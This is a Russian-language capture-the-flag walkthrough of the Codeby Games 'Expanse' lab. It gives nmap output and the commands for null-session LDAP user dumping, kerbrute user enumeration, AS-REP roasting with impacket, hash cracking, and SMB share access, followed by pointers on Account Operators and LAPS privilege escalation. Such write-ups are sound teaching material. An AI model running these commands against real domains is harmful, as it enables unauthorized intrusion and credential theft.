June 24, 2024

Writeup Expanse (CodebyGames)

Решение.

Получаем ip на платформе codeby.games

Проводим разведку и сбор информации о цели с помощью nmap.

nmap -sV -sC <target_ip> -oA <file_name>

┌──(root㉿kali)-[~/codeby_game/Expanse]
└─# cat scan.nmap
# Nmap 7.94SVN scan initiated Thu Jun 20 03:45:10 2024 as: nmap -sVC -A -oA scan 192.168.2.12
Nmap scan report for 192.168.2.12
Host is up (0.028s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http?
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2016|2012|2022|Phone|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2016 (97%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2022 (91%), Microsoft Windows Phone 7.5 or 8.0 (88%), Microsoft Windows Server 2012 R2 (87%), Microsoft Windows Embedded Standard 7 (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT ADDRESS
1 27.86 ms 192.168.2.12

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 20 03:49:36 2024 — 1 IP address (1 host up) scanned in 265.33 seconds

Пробуем перейти по адресу.

При переходе можем наблюдать главную страницу сервера IIS, больше информации нет.

Во время поиска скрытых директорий мы можем обнаружить, вход в Windows PowerShell Web Access. Для того, что бы найти скрытые директории воспользуемся программой для Fazzing.

dirsearch -u https://192.168.2.12 -w /usr/share/wordlists/seclists/Fuzzing/fuzz-Bo0oM.txt -x 403,404,301 -r -R 3

Но для того, что бы попасть в консоль нам необходимо иметь УЗ пользователя с такими правами.

Теперь имея точку входа, нам необходимо найти пользователей, для этого мы воспользуемся программой NetExec, которую найти можно здесь. И проверим нашу целевую машину на вход с нулевой сессией, с помощью команды.

netexec ldap 192.168.2.12 -u '' -p ''

После чего мы пробуем запросить список всех пользователей домена, следующей командой.

netexec ldap 192.168.2.12 -u '' -p '' --users

Как только программа закончит свою работу, собираем всех пользователей в отдельный файл и после генерируем данный список в разных регистрах и вариантах написания.

После генерации списка проверяем пользователей на валидность с помощью программы kerbrute и следующей команды.

./kerbrute_linux_amd64 userenum --dc 192.168.2.12 -d codeby.cdb users.txt

Теперь имея подтверждение какие пользователи у нас являются валидными, мы можем попробовать провести атаку типа ASRepRoast.

impacket-GetNPUsers -no-pass -usersfile ./users.txt codeby.cdb/ -dc-ip 192.168.2.12

Так мы получим УЗ первого пользователя в шифрованном виде. Далее отправляем полученные данные на перебор в одну из программ JHR/Hashcat и получаем пароль в открытом виде. После чего смотрим какой статус у нашего пользователя.

Определив статус пользователя нам необходимо понять куда двигаться дальше. Один из вариантов это проверить права входа в Windows PowerShell Web Access.

Но что если этот не тот пользователь и у него нет прав доступа к консоли?

Попробуем получить еще информацию, а именно проведем осмотр общих папок или как принято их называть шары, введя следующую команду.

netexec smb 192.168.2.12 -u '$user' -p '$passwd' --shares

Теперь нам необходимо подключиться к одной из шар, для этого у нас есть специальный скрипт входящий в состав программы impacket.

smbclient //192.168.2.12/$share_name -U '$user%$passwd'

Проводим осмотр данной шары и там мы увидим несколько интересных файлов, которые необходимо будет скачать и просмотреть. В одном из файлов вы обнаружите вторую УЗ, с которой уже сможете подключиться к Windows PowerShell Web Access. После того как вы это сделаете, вы получите первую часть флага.

Повышение привилегий.

Для дальнейших шагов, а именно поднятия прав нам необходимо ознакомиться еще с одним вектором атаки. Для этого необходимо будет ознакомиться с такими вещами как Account Operators и LAPS, прочитать можно здесь и здесь.

Так же вы сможете найти необходимый инструмент здесь.